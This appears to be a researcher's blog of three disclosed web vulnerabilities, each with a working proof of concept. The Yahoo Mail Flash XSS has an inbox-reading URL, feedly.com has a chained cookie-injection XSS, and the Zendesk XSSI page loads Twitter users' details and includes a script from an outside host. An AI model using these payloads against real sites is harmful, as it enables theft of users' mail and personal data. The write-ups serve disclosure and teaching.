Flash based XSS in Yahoo Mail

Summary:
I discovered a XSS vulnerability in IO Utility [1] of YUI library. In this post I explained the vulnerability and it's affect on Yahoo Mail.  

Details:
The ExternalInterface class in ActionScript is an application programming interface that enables communication between ActionScript and the SWF container. This class has a method named "call()" which invokes a JavaScript function if the container is a HTML page. It takes two parameters, the first one is the name of the JavaScript function to call and the other one is a string to pass to that JavaScript function. It is possible to execute malicious JavaScript in context of container if one of these parameters are attacker-controlled [2].

In IO Utility of YUI, io.swf (located at yui\build\io-xdr\io.swf) was vulnerable to XSS. As you can see in figure 1, yid and uid are derived from user input and then used as a parameter in ExternalInterface.call() without any validation. 

Figure 1 - Vulnerable code

By this vulnerability attacker could execute malicious JavaScript in context of io.swf container.

PoC:

http://localhost/io.swf?yid=\"%29%29;}catch%28e%29{alert%28document.domain%29;}//

Yahoo Mail was affected by this vulnerability because, io.swf was hosted at Yahoo mail main domain (fail!) and accessible from http://us-mg5.mail.yahoo.com/neo/ued/assets/flash/io.swf for logged in users.

Figure 2 - io.swf hosted in Yahoo Mail domain

How to exploit this issue:
Yahoo uses HTTPOnly flag for cookies so it's not possible to hijack cookies but as io.swf is hosted in context of us-mg[x].yahoo.com I was able to execute JavaScript in context of us-mg[x].yahoo.com. For example by sending below URL to a Yahoo Mail user it was possible to read his inbox.

http://us-mg5.mail.yahoo.com/neo/ued/assets/flash/io.swf?yid=\%22%29%29;}catch%28e%29{x=window.open('http://us-mg5.mail.yahoo.com/');setTimeout('alert(x.document.body.innerText)',4000)}//

In a future post I'll explain the exploitation of this type of vulnerabilities. 
PoC Video:

Fix:
June 6th, YUI 3.10.1 released which fixed this issue. Fix is based on a regular expression which validates the yid and uid value.

Figure 3 - Vulnerability fixed

Yahoo Security team response:
I was aware of this vulnerability for a long time but I didn't interested to report it to Yahoo Security because my past experiences shows that nothing more than a T-shirt could be achieved (they don't send it to Iran :P), even no credit for responsible disclosure when you report a vulnerability to Yahoo! 

However recently I sent an email and asked if they pay reward for responsible disclosure and they replied:

Figure 4 - Yahoo Security team response

References:
[1]http://yuilibrary.com/yui/docs/io/
[2]http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html

Exploiting an unexploitable persistence DOM based XSS in feedly.com by using root domain cookies!

Summary:
I found a persistence DOM based XSS vulnerability in feedly.com website. As it was not possible to exploit it directly without altering the cookies, I called it an unexploitable vulnerability! However, I could exploit it by using another XSS vulnerability which was in s3 subdomain of feedly.com website. This post explains what I have done to exploit this issue.

DOM based XSS in feedly.com:
First I found a DOM based XSS in feedly.com. As you can see in below picture the source is a cookie (feedlyVersion) and the sink is document.write(). 

Figure 1 - Picture of vulnerable code

Normally we can't exploit this issue because it's not possible to control the value of 'feedlyVersion' cookie and this is a less severe issue.

But in this type of vulnerability if attacker can control a cookie in a victim’s browser, then it can be assumed that exploitation is similar to other vectors where an attacker controls aspects of a user request, like a querystring value, or an HTTP POST name-value pair [1]. So the only way to exploit this DOM based XSS was adding a new cookie with the same name as 'feedlyVersion' and our payload.

Flash based XSS in s3.feedly.com:

Then I tried to find another XSS vulnerability in feedly.com sub-domains. Quickly I found a vulnerable version of JWplayer [2] (http://s3.feedly.com/production/@@@/flash/player.swf) in s3.feedly.com. 

Figure 2 - Flash based XSS in s3.feedly.com

Figure 3 - s3.feedly.com befor adding new cookie

Through this vulnerability in s3.feedly.com subdomain It was possible to add a new cookie for *.feedly.com. 

Chaining these issues:
To successfully exploit this issue our new feedlyVersion cookie should be in front of original feedlyVersion in cookie string. I used the trick which Egor Homakov introduced in his "Hacking Github with Webkit" blogpost [3].

A) Set a new cookie with feedlyVersion name and our payload for *.feedly.com:

document.cookie="feedlyVersion='><script>prompt(document.domain)</script>;Domain=.feedly.com;Path=/;";

B) Moving our new feedlyVersion in front of the old one in cookie string:

x1=window.open('http://feedly.com/');x1.close();

C) Redirecting user to http://feedly.com to execute our payload:

location.href='http://feedly.com'

Finally putting all of them together:

http://s3.feedly.com/production/@@@/flash/player.swf?debug=function(){document.cookie="feedlyVersion='><script>prompt(document.domain)</script>;Domain=.feedly.com;Path=/;";x1=window.open('http://feedly.com/');x1.close();location.href='http://feedly.com'}

Figure 4 - feedly.com before adding new feedlyVersion cookie

Figure 5 - s3.feedly.com after adding feedlyVersion cookie (by attacker)

Figure 6 - feedly.com after adding new feedlyVersion cookie

Figure 7 - Attacker controlled cookie delivered to the sink

PoC Video:

Disclosure Timeline:

April 8, 2013: Details of the vulnerabilities sent to Feedly.
April 8, 2013: Received reply, "Will take a look at them today".
April 9, 2013: Received reply, "All issue have been fixed".

Kudos to the Feedly team for fixing issues very quickly.

References:
[1] http://media.blackhat.com/bh-ad-11/Lundeen/bh-ad-11-Lundeen-New_Ways_Hack_WebApp-WP.pdf
[2] http://www.wooyun.org/bugs/wooyun-2010-07166
[3] http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html

XSSI in Zendesk leaked Twitter users' personal information

TL;DR Chaining a XSSI vulnerability in Zendesk and authorization issue in Twitter to access Twitter users' username and email address.

What is Cross-Site script inclusion vulnerability?
Browsers prevent pages of one domain from reading pages in other domains. But they do not prevent pages of a domain from referencing resources in other domains. In particular, they allow images to be rendered from other domains and scripts to be executed from other domains. An included script doesn't have its own security context. It runs in the security context of the page that included it. For example, if www.evil.example.com includes a script hosted on www.google.com then that script runs in the evil context not in the google context. So any user data in that script will "leak" [1].

Another definition:
A flaw caused by the failure to secure sensitive JSON-like responses against being loaded on third-party sites via <script src=...>. User-specific information in the response may be leaked to attackers [2].

Detail of Zendesk.com XSSI vulnerability:

Zendesk used a JavaScript file (https://xyzxyzx.zendesk.com/generated/javascripts/user.js) to store information of currently logged-in user. The most interesting data in this file was username and email address. It was possible to include this JavaScript file in a evil page, redirect user to evil page and access these information.

Authorization issue in Twitter!?:
Twitter authorize Zendesk.com to access part of user data without any user interaction (I don't know why this should happen silently). So is it a security issue? In my opinion it totally depends on what Twitter shares with Zendesk! Based on data in user.js file only Twitter users' username and email address are shared with Zendesk (Without user perimission). These are interesting but I think this is not a security issue or at least its impact is low. 

What happens when user request https://twitter.zendesk.com:

Chaining these issues:
As Twitter share users' info with Zendesk, vulnerabilities (XSS, XSSI, ...) in Zendesk could leak these data. To ensure that user is currently logged into https://twitter.zendesk.com we force user's browser to send a request to https://twitter.zendesk.com:

1) Load https://twitter.zendesk.com in a hidden iframe in evil page.
2) With a delay load https://twitter.zendesk.com/generated/javascripts/user.js in script tag.

PoC:

<head>
<script>
function loadme()
{
 address = ['https://assets.zendesk.com/assets/vendor/jquery-1.6.1-86096357efa9dc21044b775b3f361e15.js',
 'https://twitter.zendesk.com/generated/javascripts/locale/0/1/1359507312.js',
 'https://assets.zendesk.com/assets/bootstrap-f05ffba88f3ed500b90b259aa5512fc5.js',
 'https://twitter.zendesk.com/generated/javascripts/user.js',
 'http://coolhand.persiangig.com/b.js'];
 for(var i=0;i<5;i++)
 {
  var tag=document.createElement('script'); 
  tag.type='text/javascript';
  tag.src=address[i]; 
  handle=document.getElementsByTagName('head');
  handle[0].appendChild(tag);
 } 
}
</script>
</head>
<body>
<iframe src="https://twitter.zendesk.com" frameborder="0" width="1" height="1" onload="loadme()"></iframe>
</body>
</html>

PoC Video:
At that point I've prepared a quick PoC [3] and assumed that victim was logged into https://twitter.zendesk.com.



Response from Twitter and Zendesk: 
At first I've reported this issue to Twitter security, But they believed hat wasn't related to Twitter and Zendesk should fix this issue. It's obvious that who should fix the XSSI but as I mentioned Twitter authorize Zendesk to access users' data without any user interaction! 

Response from Twitter Security to this issue

Then I reported this issue to Zendesk support team. It seems they fixed this issue now.

Response from Zendesk to this issue

[1] http://google-gruyere.appspot.com/part3#3__cross_site_script_inclusion.
[2] Zalewski. M, The Tangled Web: A Guide to Securing Modern Web Applications, 262.
[3] http://coolhand.persiangig.com/d707206c0a186e3dd5fd4d605bec7d80.html.